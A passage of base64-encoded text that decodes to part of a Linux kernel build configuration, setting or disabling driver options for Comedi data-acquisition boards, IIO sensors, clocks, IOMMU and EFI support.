ZXQKIyBDT05GSUdfQ09NRURJX0lTQV9EUklWRVJTIGlzIG5vdCBzZXQKQ09ORklHX0NPTUVESV9Q Q0lfRFJJVkVSUz1tCkNPTkZJR19DT01FRElfODI1NV9QQ0k9bQpDT05GSUdfQ09NRURJX0FERElf V0FUQ0hET0c9bQojIENPTkZJR19DT01FRElfQURESV9BUENJXzEwMzIgaXMgbm90IHNldAojIENP TkZJR19DT01FRElfQURESV9BUENJXzE1MDAgaXMgbm90IHNldApDT05GSUdfQ09NRURJX0FERElf QVBDSV8xNTE2PW0KQ09ORklHX0NPTUVESV9BRERJX0FQQ0lfMTU2ND1tCiMgQ09ORklHX0NPTUVE SV9BRERJX0FQQ0lfMTZYWCBpcyBub3Qgc2V0CkNPTkZJR19DT01FRElfQURESV9BUENJXzIwMzI9 bQpDT05GSUdfQ09NRURJX0FERElfQVBDSV8yMjAwPW0KIyBDT05GSUdfQ09NRURJX0FERElfQVBD SV8zMTIwIGlzIG5vdCBzZXQKQ09ORklHX0NPTUVESV9BRERJX0FQQ0lfMzUwMT1tCkNPTkZJR19D T01FRElfQURESV9BUENJXzNYWFg9bQpDT05GSUdfQ09NRURJX0FETF9QQ0k2MjA4PW0KIyBDT05G SUdfQ09NRURJX0FETF9QQ0k3WDNYIGlzIG5vdCBzZXQKQ09ORklHX0NPTUVESV9BRExfUENJODE2 ND1tCkNPTkZJR19DT01FRElfQURMX1BDSTkxMTE9bQpDT05GSUdfQ09NRURJX0FETF9QQ0k5MTE4 PW0KQ09ORklHX0NPTUVESV9BRFZfUENJMTcxMD1tCkNPTkZJR19DT01FRElfQURWX1BDSTE3MjM9 bQpDT05GSUdfQ09NRURJX0FEVl9QQ0kxNzI0PW0KQ09ORklHX0NPTUVESV9BRFZfUENJX0RJTz1t CkNPTkZJR19DT01FRElfQU1QTENfRElPMjAwX1BDST1tCkNPTkZJR19DT01FRElfQU1QTENfUEMy MzZfUENJPW0KIyBDT05GSUdfQ09NRURJX0FNUExDX1BDMjYzX1BDSSBpcyBub3Qgc2V0CkNPTkZJ R19DT01FRElfQU1QTENfUENJMjI0PW0KIyBDT05GSUdfQ09NRURJX0FNUExDX1BDSTIzMCBpcyBu b3Qgc2V0CkNPTkZJR19DT01FRElfQ09OVEVDX1BDSV9ESU89bQpDT05GSUdfQ09NRURJX0RBUzA4 X1BDST1tCkNPTkZJR19DT01FRElfRFQzMDAwPW0KIyBDT05GSUdfQ09NRURJX0RZTkFfUENJMTBY WCBpcyBub3Qgc2V0CkNPTkZJR19DT01FRElfR1NDX0hQREk9bQpDT05GSUdfQ09NRURJX01GNlg0 PW0KQ09ORklHX0NPTUVESV9JQ1BfTVVMVEk9bQojIENPTkZJR19DT01FRElfREFRQk9BUkQyMDAw IGlzIG5vdCBzZXQKQ09ORklHX0NPTUVESV9KUjNfUENJPW0KQ09ORklHX0NPTUVESV9LRV9DT1VO VEVSPW0KQ09ORklHX0NPTUVESV9DQl9QQ0lEQVM2ND1tCkNPTkZJR19DT01FRElfQ0JfUENJREFT PW0KIyBDT05GSUdfQ09NRURJX0NCX1BDSUREQSBpcyBub3Qgc2V0CkNPTkZJR19DT01FRElfQ0Jf UENJTURBUz1tCkNPTkZJR19DT01FRElfQ0JfUENJTUREQT1tCkNPTkZJR19DT01FRElfTUU0MDAw PW0KQ09ORklHX0NPTUVESV9NRV9EQVE9bQojIENPTkZJR19DT01FRElfTklfNjUyNyBpcyBub3Qg c2V0CkNPTkZJR19DT01FRElfTklfNjVYWD1tCkNPTkZJR19DT01FRElfTklfNjYwWD1tCiMgQ09O RklHX0NPTUVESV9OSV82NzBYIGlzIG5vdCBzZXQKQ09ORklHX0NPTUVESV9OSV9MQUJQQ19QQ0k9 bQpDT05GSUdfQ09NRURJX05JX1BDSURJTz1tCkNPTkZJR19DT01FRElfTklfUENJTUlPPW0KQ09O RklHX0NPTUVESV9SVEQ1MjA9bQpDT05GSUdfQ09NRURJX1M2MjY9bQpDT05GSUdfQ09NRURJX01J VEU9bQpDT05GSUdfQ09NRURJX05JX1RJT0NNRD1tCkNPTkZJR19DT01FRElfUENNQ0lBX0RSSVZF UlM9bQojIENPTkZJR19DT01FRElfQ0JfREFTMTZfQ1MgaXMgbm90IHNldApDT05GSUdfQ09NRURJ X0RBUzA4X0NTPW0KQ09ORklHX0NPTUVESV9OSV9EQVFfNzAwX0NTPW0KIyBDT05GSUdfQ09NRURJ X05JX0RBUV9ESU8yNF9DUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NPTUVESV9OSV9MQUJQQ19DUyBp cyBub3Qgc2V0CiMgQ09ORklHX0NPTUVESV9OSV9NSU9fQ1MgaXMgbm90IHNldApDT05GSUdfQ09N RURJX1FVQVRFQ0hfREFRUF9DUz1tCkNPTkZJR19DT01FRElfVVNCX0RSSVZFUlM9bQpDT05GSUdf Q09NRURJX0RUOTgxMj1tCkNPTkZJR19DT01FRElfTklfVVNCNjUwMT1tCkNPTkZJR19DT01FRElf VVNCRFVYPW0KIyBDT05GSUdfQ09NRURJX1VTQkRVWEZBU1QgaXMgbm90IHNldApDT05GSUdfQ09N RURJX1VTQkRVWFNJR01BPW0KIyBDT05GSUdfQ09NRURJX1ZNSzgwWFggaXMgbm90IHNldApDT05G SUdfQ09NRURJXzgyNTQ9bQpDT05GSUdfQ09NRURJXzgyNTU9bQpDT05GSUdfQ09NRURJXzgyNTVf U0E9bQpDT05GSUdfQ09NRURJX0tDT01FRElMSUI9bQpDT05GSUdfQ09NRURJX0FNUExDX0RJTzIw MD1tCkNPTkZJR19DT01FRElfQU1QTENfUEMyMzY9bQpDT05GSUdfQ09NRURJX0RBUzA4PW0KQ09O RklHX0NPTUVESV9OSV9MQUJQQz1tCkNPTkZJR19DT01FRElfTklfVElPPW0KIyBDT05GSUdfUEFO RUwgaXMgbm90IHNldAojIENPTkZJR19SVFM1MjA4IGlzIG5vdCBzZXQKCiMKIyBJSU8gc3RhZ2lu ZyBkcml2ZXJzCiMKCiMKIyBBY2NlbGVyb21ldGVycwojCiMgQ09ORklHX0FESVMxNjIwMSBpcyBu b3Qgc2V0CkNPTkZJR19BRElTMTYyMDM9bQpDT05GSUdfQURJUzE2MjA0PW0KQ09ORklHX0FESVMx NjIwOT1tCkNPTkZJR19BRElTMTYyMjA9bQojIENPTkZJR19BRElTMTYyNDAgaXMgbm90IHNldApD T05GSUdfU0NBMzAwMD15CgojCiMgQW5hbG9nIHRvIGRpZ2l0YWwgY29udmVydGVycwojCiMgQ09O RklHX0FENzE5MiBpcyBub3Qgc2V0CkNPTkZJR19BRDcyODA9eQoKIwojIEFuYWxvZyBkaWdpdGFs IGJpLWRpcmVjdGlvbiBjb252ZXJ0ZXJzCiMKCiMKIyBDYXBhY2l0YW5jZSB0byBkaWdpdGFsIGNv bnZlcnRlcnMKIwpDT05GSUdfQUQ3MTUwPW0KQ09ORklHX0FENzE1Mj15CkNPTkZJR19BRDc3NDY9 eQoKIwojIERpcmVjdCBEaWdpdGFsIFN5bnRoZXNpcwojCkNPTkZJR19BRDk4MzI9eQpDT05GSUdf QUQ5ODM0PXkKCiMKIyBEaWdpdGFsIGd5cm9zY29wZSBzZW5zb3JzCiMKQ09ORklHX0FESVMxNjA2 MD15CgojCiMgTmV0d29yayBBbmFseXplciwgSW1wZWRhbmNlIENvbnZlcnRlcnMKIwpDT05GSUdf QUQ1OTMzPW0KCiMKIyBMaWdodCBzZW5zb3JzCiMKIyBDT05GSUdfU0VOU09SU19JU0wyOTAxOCBp cyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0lTTDI5MDI4PW0KIyBDT05GSUdfVFNMMjU4MyBpcyBu b3Qgc2V0CiMgQ09ORklHX1RTTDJ4N3ggaXMgbm90IHNldAoKIwojIE1hZ25ldG9tZXRlciBzZW5z b3JzCiMKQ09ORklHX1NFTlNPUlNfSE1DNTg0Mz1tCiMgQ09ORklHX1NFTlNPUlNfSE1DNTg0M19J MkMgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19ITUM1ODQzX1NQST1tCgojCiMgQWN0aXZlIGVu ZXJneSBtZXRlcmluZyBJQwojCiMgQ09ORklHX0FERTc3NTMgaXMgbm90IHNldAojIENPTkZJR19B REU3NzU0IGlzIG5vdCBzZXQKQ09ORklHX0FERTc3NTg9eQpDT05GSUdfQURFNzc1OT15CkNPTkZJ R19BREU3ODU0PXkKQ09ORklHX0FERTc4NTRfSTJDPXkKQ09ORklHX0FERTc4NTRfU1BJPXkKCiMK IyBSZXNvbHZlciB0byBkaWdpdGFsIGNvbnZlcnRlcnMKIwpDT05GSUdfQUQyUzkwPW0KCiMKIyBU cmlnZ2VycyAtIHN0YW5kYWxvbmUKIwpDT05GSUdfSUlPX1BFUklPRElDX1JUQ19UUklHR0VSPW0K IyBDT05GSUdfSUlPX1NJTVBMRV9EVU1NWSBpcyBub3Qgc2V0CkNPTkZJR19GQl9TTTc1MD15CkNP TkZJR19GQl9YR0k9eQojIENPTkZJR19GVDEwMDAgaXMgbm90IHNldAoKIwojIFNwZWFrdXAgY29u c29sZSBzcGVlY2gKIwojIENPTkZJR19TUEVBS1VQIGlzIG5vdCBzZXQKQ09ORklHX1RPVUNIU0NS RUVOX1NZTkFQVElDU19JMkNfUk1JND15CiMgQ09ORklHX1NUQUdJTkdfTUVESUEgaXMgbm90IHNl dAoKIwojIEFuZHJvaWQKIwpDT05GSUdfU1RBR0lOR19CT0FSRD15CkNPTkZJR19GSVJFV0lSRV9T RVJJQUw9bQpDT05GSUdfRldUVFlfTUFYX1RPVEFMX1BPUlRTPTY0CkNPTkZJR19GV1RUWV9NQVhf Q0FSRF9QT1JUUz0zMgpDT05GSUdfREdOQz1tCkNPTkZJR19ER0FQPXkKIyBDT05GSUdfR1NfRlBH QUJPT1QgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0tFSU4gaXMgbm90IHNldApDT05GSUdf VU5JU1lTU1BBUj15CkNPTkZJR19VTklTWVNfVklTT1JCVVM9bQojIENPTkZJR19VTklTWVNfVklT T1JJTlBVVCBpcyBub3Qgc2V0CkNPTkZJR19VTklTWVNfVklTT1JIQkE9bQpDT05GSUdfQ09NTU9O X0NMS19YTE5YX0NMS1daUkQ9bQpDT05GSUdfTU9TVD1tCkNPTkZJR19NT1NUQ09SRT1tCkNPTkZJ R19BSU1fQ0RFVj1tCiMgQ09ORklHX0hETV9JMkMgaXMgbm90IHNldAojIENPTkZJR19YODZfUExB VEZPUk1fREVWSUNFUyBpcyBub3Qgc2V0CkNPTkZJR19DSFJPTUVfUExBVEZPUk1TPXkKQ09ORklH X0NIUk9NRU9TX1BTVE9SRT15CkNPTkZJR19DUk9TX0VDX0NIQVJERVY9eQojIENPTkZJR19DUk9T X0VDX0xQQyBpcyBub3Qgc2V0CkNPTkZJR19DUk9TX0VDX1BST1RPPXkKQ09ORklHX0NMS0RFVl9M T09LVVA9eQpDT05GSUdfSEFWRV9DTEtfUFJFUEFSRT15CkNPTkZJR19DT01NT05fQ0xLPXkKCiMK IyBDb21tb24gQ2xvY2sgRnJhbWV3b3JrCiMKIyBDT05GSUdfQ09NTU9OX0NMS19XTTgzMVggaXMg bm90IHNldApDT05GSUdfQ09NTU9OX0NMS19NQVhfR0VOPXkKQ09ORklHX0NPTU1PTl9DTEtfTUFY Nzc2ODY9bQpDT05GSUdfQ09NTU9OX0NMS19NQVg3NzgwMj1tCkNPTkZJR19DT01NT05fQ0xLX1NJ NTM1MT15CiMgQ09ORklHX0NPTU1PTl9DTEtfU0k1MTQgaXMgbm90IHNldAojIENPTkZJR19DT01N T05fQ0xLX1NJNTcwIGlzIG5vdCBzZXQKQ09ORklHX0NPTU1PTl9DTEtfQ0RDRTkyNT1tCiMgQ09O RklHX0NPTU1PTl9DTEtfUzJNUFMxMSBpcyBub3Qgc2V0CiMgQ09ORklHX0NPTU1PTl9DTEtfUFdN IGlzIG5vdCBzZXQKIyBDT05GSUdfQ09NTU9OX0NMS19QWEEgaXMgbm90IHNldAojIENPTkZJR19D T01NT05fQ0xLX0NEQ0U3MDYgaXMgbm90IHNldAoKIwojIEhhcmR3YXJlIFNwaW5sb2NrIGRyaXZl cnMKIwoKIwojIENsb2NrIFNvdXJjZSBkcml2ZXJzCiMKQ09ORklHX0NMS0VWVF9JODI1Mz15CkNP TkZJR19JODI1M19MT0NLPXkKQ09ORklHX0NMS0JMRF9JODI1Mz15CiMgQ09ORklHX0FUTUVMX1BJ VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NIX1RJTUVSX0NNVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NI X1RJTUVSX01UVTIgaXMgbm90IHNldAojIENPTkZJR19TSF9USU1FUl9UTVUgaXMgbm90IHNldAoj IENPTkZJR19FTV9USU1FUl9TVEkgaXMgbm90IHNldApDT05GSUdfTUFJTEJPWD15CkNPTkZJR19Q Q0M9eQpDT05GSUdfQUxURVJBX01CT1g9bQpDT05GSUdfSU9NTVVfQVBJPXkKQ09ORklHX0lPTU1V X1NVUFBPUlQ9eQoKIwojIEdlbmVyaWMgSU9NTVUgUGFnZXRhYmxlIFN1cHBvcnQKIwpDT05GSUdf SU9NTVVfSU9WQT15CkNPTkZJR19PRl9JT01NVT15CiMgQ09ORklHX0FNRF9JT01NVSBpcyBub3Qg c2V0CkNPTkZJR19ETUFSX1RBQkxFPXkKQ09ORklHX0lOVEVMX0lPTU1VPXkKIyBDT05GSUdfSU5U RUxfSU9NTVVfU1ZNIGlzIG5vdCBzZXQKQ09ORklHX0lOVEVMX0lPTU1VX0RFRkFVTFRfT049eQpD T05GSUdfSU5URUxfSU9NTVVfRkxPUFBZX1dBPXkKQ09ORklHX0lSUV9SRU1BUD15CgojCiMgUmVt b3RlcHJvYyBkcml2ZXJzCiMKIyBDT05GSUdfU1RFX01PREVNX1JQUk9DIGlzIG5vdCBzZXQKCiMK IyBScG1zZyBkcml2ZXJzCiMKCiMKIyBTT0MgKFN5c3RlbSBPbiBDaGlwKSBzcGVjaWZpYyBEcml2 ZXJzCiMKIyBDT05GSUdfU1VOWElfUlNCIGlzIG5vdCBzZXQKIyBDT05GSUdfU1VOWElfU1JBTSBp cyBub3Qgc2V0CiMgQ09ORklHX1NPQ19USSBpcyBub3Qgc2V0CiMgQ09ORklHX1BNX0RFVkZSRVEg aXMgbm90IHNldApDT05GSUdfRVhUQ09OPW0KCiMKIyBFeHRjb24gRGV2aWNlIERyaXZlcnMKIwpD T05GSUdfRVhUQ09OX0FEQ19KQUNLPW0KIyBDT05GSUdfRVhUQ09OX01BWDE0NTc3IGlzIG5vdCBz ZXQKQ09ORklHX0VYVENPTl9SVDg5NzNBPW0KIyBDT05GSUdfRVhUQ09OX1NNNTUwMiBpcyBub3Qg c2V0CkNPTkZJR19NRU1PUlk9eQpDT05GSUdfSUlPPXkKQ09ORklHX0lJT19CVUZGRVI9eQpDT05G SUdfSUlPX0JVRkZFUl9DQj1tCkNPTkZJR19JSU9fS0ZJRk9fQlVGPXkKQ09ORklHX0lJT19UUklH R0VSRURfQlVGRkVSPXkKQ09ORklHX0lJT19UUklHR0VSPXkKQ09ORklHX0lJT19DT05TVU1FUlNf UEVSX1RSSUdHRVI9MgoKIwojIEFjY2VsZXJvbWV0ZXJzCiMKIyBDT05GSUdfQk1BMTgwIGlzIG5v dCBzZXQKIyBDT05GSUdfQk1DMTUwX0FDQ0VMIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1NFTlNP Ul9BQ0NFTF8zRCBpcyBub3Qgc2V0CkNPTkZJR19JSU9fU1RfQUNDRUxfM0FYSVM9bQpDT05GSUdf SUlPX1NUX0FDQ0VMX0kyQ18zQVhJUz1tCkNPTkZJR19JSU9fU1RfQUNDRUxfU1BJXzNBWElTPW0K Q09ORklHX0tYU0Q5PW0KIyBDT05GSUdfS1hDSksxMDEzIGlzIG5vdCBzZXQKQ09ORklHX01NQTg0 NTI9bQpDT05GSUdfTU1BOTU1MV9DT1JFPXkKIyBDT05GSUdfTU1BOTU1MSBpcyBub3Qgc2V0CkNP TkZJR19NTUE5NTUzPXkKQ09ORklHX01YQzQwMDU9bQpDT05GSUdfU1RLODMxMj15CkNPTkZJR19T VEs4QkE1MD1tCgojCiMgQW5hbG9nIHRvIGRpZ2l0YWwgY29udmVydGVycwojCkNPTkZJR19BRF9T SUdNQV9ERUxUQT1tCkNPTkZJR19BRDcyNjY9bQpDT05GSUdfQUQ3MjkxPW0KIyBDT05GSUdfQUQ3 Mjk4IGlzIG5vdCBzZXQKIyBDT05GSUdfQUQ3NDc2IGlzIG5vdCBzZXQKQ09ORklHX0FENzc5MT1t CiMgQ09ORklHX0FENzc5MyBpcyBub3Qgc2V0CkNPTkZJR19BRDc4ODc9eQojIENPTkZJR19BRDc5 MjMgaXMgbm90IHNldApDT05GSUdfQUQ3OTlYPW0KIyBDT05GSUdfQ0MxMDAwMV9BREMgaXMgbm90 IHNldAojIENPTkZJR19EQTkxNTBfR1BBREMgaXMgbm90IHNldAojIENPTkZJR19ISTg0MzUgaXMg bm90IHNldAojIENPTkZJR19NQVgxMDI3IGlzIG5vdCBzZXQKQ09ORklHX01BWDEzNjM9bQojIENP TkZJR19NQ1AzMjBYIGlzIG5vdCBzZXQKQ09ORklHX01DUDM0MjI9eQpDT05GSUdfTUVOX1oxODhf QURDPXkKQ09ORklHX05BVTc4MDI9bQojIENPTkZJR19RQ09NX1NQTUlfSUFEQyBpcyBub3Qgc2V0 CkNPTkZJR19RQ09NX1NQTUlfVkFEQz1tCkNPTkZJR19USV9BREMwODFDPXkKIyBDT05GSUdfVElf QURDMTI4UzA1MiBpcyBub3Qgc2V0CkNPTkZJR19UV0w0MDMwX01BREM9eQpDT05GSUdfVFdMNjAz MF9HUEFEQz1tCiMgQ09ORklHX1ZGNjEwX0FEQyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJUEVSQk9B UkRfQURDIGlzIG5vdCBzZXQKCiMKIyBBbXBsaWZpZXJzCiMKQ09ORklHX0FEODM2Nj15CgojCiMg Q2hlbWljYWwgU2Vuc29ycwojCkNPTkZJR19WWjg5WD1tCgojCiMgSGlkIFNlbnNvciBJSU8gQ29t bW9uCiMKQ09ORklHX0hJRF9TRU5TT1JfSUlPX0NPTU1PTj1tCkNPTkZJR19ISURfU0VOU09SX0lJ T19UUklHR0VSPW0KCiMKIyBTU1AgU2Vuc29yIENvbW1vbgojCiMgQ09ORklHX0lJT19TU1BfU0VO U09SU19DT01NT05TIGlzIG5vdCBzZXQKQ09ORklHX0lJT19TU1BfU0VOU09SSFVCPXkKQ09ORklH X0lJT19TVF9TRU5TT1JTX0kyQz1tCkNPTkZJR19JSU9fU1RfU0VOU09SU19TUEk9bQpDT05GSUdf SUlPX1NUX1NFTlNPUlNfQ09SRT1tCgojCiMgRGlnaXRhbCB0byBhbmFsb2cgY29udmVydGVycwoj CiMgQ09ORklHX0FENTA2NCBpcyBub3Qgc2V0CkNPTkZJR19BRDUzNjA9eQojIENPTkZJR19BRDUz ODAgaXMgbm90IHNldAojIENPTkZJR19BRDU0MjEgaXMgbm90IHNldApDT05GSUdfQUQ1NDQ2PXkK Q09ORklHX0FENTQ0OT15CkNPTkZJR19BRDU1MDQ9bQojIENPTkZJR19BRDU2MjRSX1NQSSBpcyBu b3Qgc2V0CiMgQ09ORklHX0FENTY4NiBpcyBub3Qgc2V0CkNPTkZJR19BRDU3NTU9bQpDT05GSUdf QUQ1NzY0PW0KQ09ORklHX0FENTc5MT15CiMgQ09ORklHX0FENzMwMyBpcyBub3Qgc2V0CkNPTkZJ R19NNjIzMzI9bQojIENPTkZJR19NQVg1MTcgaXMgbm90IHNldAojIENPTkZJR19NQVg1ODIxIGlz IG5vdCBzZXQKIyBDT05GSUdfTUNQNDcyNSBpcyBub3Qgc2V0CkNPTkZJR19NQ1A0OTIyPXkKCiMK IyBGcmVxdWVuY3kgU3ludGhlc2l6ZXJzIEREUy9QTEwKIwoKIwojIENsb2NrIEdlbmVyYXRvci9E aXN0cmlidXRpb24KIwpDT05GSUdfQUQ5NTIzPXkKCiMKIyBQaGFzZS1Mb2NrZWQgTG9vcCAoUExM KSBmcmVxdWVuY3kgc3ludGhlc2l6ZXJzCiMKQ09ORklHX0FERjQzNTA9bQoKIwojIERpZ2l0YWwg Z3lyb3Njb3BlIHNlbnNvcnMKIwpDT05GSUdfQURJUzE2MDgwPXkKQ09ORklHX0FESVMxNjEzMD15 CiMgQ09ORklHX0FESVMxNjEzNiBpcyBub3Qgc2V0CkNPTkZJR19BRElTMTYyNjA9eQojIENPTkZJ R19BRFhSUzQ1MCBpcyBub3Qgc2V0CkNPTkZJR19CTUcxNjA9eQpDT05GSUdfQk1HMTYwX0kyQz15 CkNPTkZJR19CTUcxNjBfU1BJPXkKIyBDT05GSUdfSElEX1NFTlNPUl9HWVJPXzNEIGlzIG5vdCBz ZXQKQ09ORklHX0lJT19TVF9HWVJPXzNBWElTPW0KQ09ORklHX0lJT19TVF9HWVJPX0kyQ18zQVhJ Uz1tCkNPTkZJR19JSU9fU1RfR1lST19TUElfM0FYSVM9bQpDT05GSUdfSVRHMzIwMD15CgojCiMg SHVtaWRpdHkgc2Vuc29ycwojCkNPTkZJR19IREMxMDBYPXkKQ09ORklHX1NJNzAwNT1tCkNPTkZJ R19TSTcwMjA9eQoKIwojIEluZXJ0aWFsIG1lYXN1cmVtZW50IHVuaXRzCiMKQ09ORklHX0FESVMx NjQwMD15CkNPTkZJR19BRElTMTY0ODA9bQojIENPTkZJR19LTVg2MSBpcyBub3Qgc2V0CkNPTkZJ R19JTlZfTVBVNjA1MF9JSU89eQpDT05GSUdfSUlPX0FESVNfTElCPXkKQ09ORklHX0lJT19BRElT X0xJQl9CVUZGRVI9eQoKIwojIExpZ2h0IHNlbnNvcnMKIwpDT05GSUdfQUNQSV9BTFM9eQojIENP TkZJR19BREpEX1MzMTEgaXMgbm90IHNldApDT05GSUdfQUwzMzIwQT15CkNPTkZJR19BUERTOTMw MD1tCiMgQ09ORklHX0FQRFM5OTYwIGlzIG5vdCBzZXQKQ09ORklHX0JIMTc1MD15CkNPTkZJR19D TTMyMTgxPW0KIyBDT05GSUdfQ00zMjMyIGlzIG5vdCBzZXQKQ09ORklHX0NNMzMyMz1tCkNPTkZJ R19DTTM2NjUxPW0KQ09ORklHX0dQMkFQMDIwQTAwRj15CkNPTkZJR19JU0wyOTEyNT15CkNPTkZJ R19ISURfU0VOU09SX0FMUz1tCkNPTkZJR19ISURfU0VOU09SX1BST1g9bQpDT05GSUdfSlNBMTIx Mj15CkNPTkZJR19SUFIwNTIxPW0KIyBDT05GSUdfU0VOU09SU19MTTM1MzMgaXMgbm90IHNldAoj IENPTkZJR19MVFI1MDEgaXMgbm90IHNldAojIENPTkZJR19PUFQzMDAxIGlzIG5vdCBzZXQKIyBD T05GSUdfUEExMjIwMzAwMSBpcyBub3Qgc2V0CkNPTkZJR19TVEszMzEwPW0KQ09ORklHX1RDUzM0 MTQ9eQpDT05GSUdfVENTMzQ3Mj15CkNPTkZJR19TRU5TT1JTX1RTTDI1NjM9eQpDT05GSUdfVFNM NDUzMT15CkNPTkZJR19VUzUxODJEPW0KQ09ORklHX1ZDTkw0MDAwPW0KCiMKIyBNYWduZXRvbWV0 ZXIgc2Vuc29ycwojCkNPTkZJR19CTUMxNTBfTUFHTj1tCiMgQ09ORklHX01BRzMxMTAgaXMgbm90 IHNldAojIENPTkZJR19ISURfU0VOU09SX01BR05FVE9NRVRFUl8zRCBpcyBub3Qgc2V0CkNPTkZJ R19NTUMzNTI0MD1tCiMgQ09ORklHX0lJT19TVF9NQUdOXzNBWElTIGlzIG5vdCBzZXQKCiMKIyBJ bmNsaW5vbWV0ZXIgc2Vuc29ycwojCkNPTkZJR19ISURfU0VOU09SX0lOQ0xJTk9NRVRFUl8zRD1t CiMgQ09ORklHX0hJRF9TRU5TT1JfREVWSUNFX1JPVEFUSU9OIGlzIG5vdCBzZXQKCiMKIyBUcmln Z2VycyAtIHN0YW5kYWxvbmUKIwpDT05GSUdfSUlPX0lOVEVSUlVQVF9UUklHR0VSPW0KQ09ORklH X0lJT19TWVNGU19UUklHR0VSPXkKCiMKIyBQcmVzc3VyZSBzZW5zb3JzCiMKQ09ORklHX0JNUDI4 MD15CkNPTkZJR19ISURfU0VOU09SX1BSRVNTPW0KIyBDT05GSUdfTVBMMTE1IGlzIG5vdCBzZXQK Q09ORklHX01QTDMxMTU9bQpDT05GSUdfTVM1NjExPW0KQ09ORklHX01TNTYxMV9JMkM9bQpDT05G SUdfTVM1NjExX1NQST1tCiMgQ09ORklHX0lJT19TVF9QUkVTUyBpcyBub3Qgc2V0CkNPTkZJR19U NTQwMz1tCgojCiMgTGlnaHRuaW5nIHNlbnNvcnMKIwpDT05GSUdfQVMzOTM1PW0KCiMKIyBQcm94 aW1pdHkgc2Vuc29ycwojCiMgQ09ORklHX0xJREFSX0xJVEVfVjIgaXMgbm90IHNldAojIENPTkZJ R19TWDk1MDAgaXMgbm90IHNldAoKIwojIFRlbXBlcmF0dXJlIHNlbnNvcnMKIwpDT05GSUdfTUxY OTA2MTQ9eQpDT05GSUdfVE1QMDA2PW0KQ09ORklHX05UQj1tCiMgQ09ORklHX05UQl9JTlRFTCBp cyBub3Qgc2V0CiMgQ09ORklHX05UQl9QSU5HUE9ORyBpcyBub3Qgc2V0CkNPTkZJR19OVEJfVE9P TD1tCiMgQ09ORklHX05UQl9UUkFOU1BPUlQgaXMgbm90IHNldAojIENPTkZJR19WTUVfQlVTIGlz IG5vdCBzZXQKQ09ORklHX1BXTT15CkNPTkZJR19QV01fU1lTRlM9eQojIENPTkZJR19QV01fRlNM X0ZUTSBpcyBub3Qgc2V0CiMgQ09ORklHX1BXTV9MUDM5NDMgaXMgbm90IHNldAojIENPTkZJR19Q V01fTFBTUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BXTV9QQ0E5Njg1IGlzIG5vdCBzZXQKQ09ORklH X1BXTV9UV0w9bQojIENPTkZJR19QV01fVFdMX0xFRCBpcyBub3Qgc2V0CkNPTkZJR19JUlFDSElQ PXkKQ09ORklHX0lQQUNLX0JVUz1tCkNPTkZJR19CT0FSRF9UUENJMjAwPW0KIyBDT05GSUdfU0VS SUFMX0lQT0NUQUwgaXMgbm90IHNldApDT05GSUdfUkVTRVRfQ09OVFJPTExFUj15CkNPTkZJR19G TUM9bQojIENPTkZJR19GTUNfRkFLRURFViBpcyBub3Qgc2V0CkNPTkZJR19GTUNfVFJJVklBTD1t CiMgQ09ORklHX0ZNQ19XUklURV9FRVBST00gaXMgbm90IHNldAojIENPTkZJR19GTUNfQ0hBUkRF ViBpcyBub3Qgc2V0CgojCiMgUEhZIFN1YnN5c3RlbQojCkNPTkZJR19HRU5FUklDX1BIWT15CkNP TkZJR19QSFlfUFhBXzI4Tk1fSFNJQz15CiMgQ09ORklHX1BIWV9QWEFfMjhOTV9VU0IyIGlzIG5v dCBzZXQKQ09ORklHX0JDTV9LT05BX1VTQjJfUEhZPW0KIyBDT05GSUdfUEhZX1NBTVNVTkdfVVNC MiBpcyBub3Qgc2V0CkNPTkZJR19QSFlfVFVTQjEyMTA9eQojIENPTkZJR19QT1dFUkNBUCBpcyBu b3Qgc2V0CkNPTkZJR19NQ0I9eQojIENPTkZJR19NQ0JfUENJIGlzIG5vdCBzZXQKCiMKIyBQZXJm b3JtYW5jZSBtb25pdG9yIHN1cHBvcnQKIwpDT05GSUdfUkFTPXkKQ09ORklHX1RIVU5ERVJCT0xU PXkKCiMKIyBBbmRyb2lkCiMKIyBDT05GSUdfQU5EUk9JRCBpcyBub3Qgc2V0CkNPTkZJR19MSUJO VkRJTU09eQojIENPTkZJR19CTEtfREVWX1BNRU0gaXMgbm90IHNldApDT05GSUdfTkRfQkxLPW0K Q09ORklHX05EX0NMQUlNPXkKQ09ORklHX05EX0JUVD1tCkNPTkZJR19CVFQ9eQpDT05GSUdfTlZN RU09bQojIENPTkZJR19TVE0gaXMgbm90IHNldApDT05GSUdfU1RNX0RVTU1ZPW0KQ09ORklHX1NU TV9TT1VSQ0VfQ09OU09MRT1tCkNPTkZJR19JTlRFTF9USD15CkNPTkZJR19JTlRFTF9USF9QQ0k9 eQpDT05GSUdfSU5URUxfVEhfR1RIPXkKQ09ORklHX0lOVEVMX1RIX01TVT15CkNPTkZJR19JTlRF TF9USF9QVEk9eQojIENPTkZJR19JTlRFTF9USF9ERUJVRyBpcyBub3Qgc2V0CgojCiMgRlBHQSBD b25maWd1cmF0aW9uIFN1cHBvcnQKIwpDT05GSUdfRlBHQT15CgojCiMgRmlybXdhcmUgRHJpdmVy cwojCkNPTkZJR19FREQ9eQpDT05GSUdfRUREX09GRj15CiMgQ09ORklHX0ZJUk1XQVJFX01FTU1B UCBpcyBub3Qgc2V0CiMgQ09ORklHX0RFTExfUkJVIGlzIG5vdCBzZXQKQ09ORklHX0RDREJBUz15 CkNPTkZJR19JU0NTSV9JQkZUX0ZJTkQ9eQpDT05GSUdfR09PR0xFX0ZJUk1XQVJFPXkKCiMKIyBH b29nbGUgRmlybXdhcmUgRHJpdmVycwojCgojCiMgRUZJIChFeHRlbnNpYmxlIEZpcm13YXJlIElu dGVyZmFjZSkgU3VwcG9ydAojCkNPTkZJR19FRklfVkFSUz1tCkNPTkZJR19FRklfRVNSVD15CkNP TkZJR19FRklfVkFSU19QU1RPUkU9bQpDT05GSUdfRUZJX1ZBUlNfUFNUT1JFX0RFRkFVTFRfRElT QUJMRT15CkNPTkZJR19FRklfUlVOVElNRV9NQVA9eQpDT05GSUdfRUZJX1JVTlRJTUVfV1JBUFBF 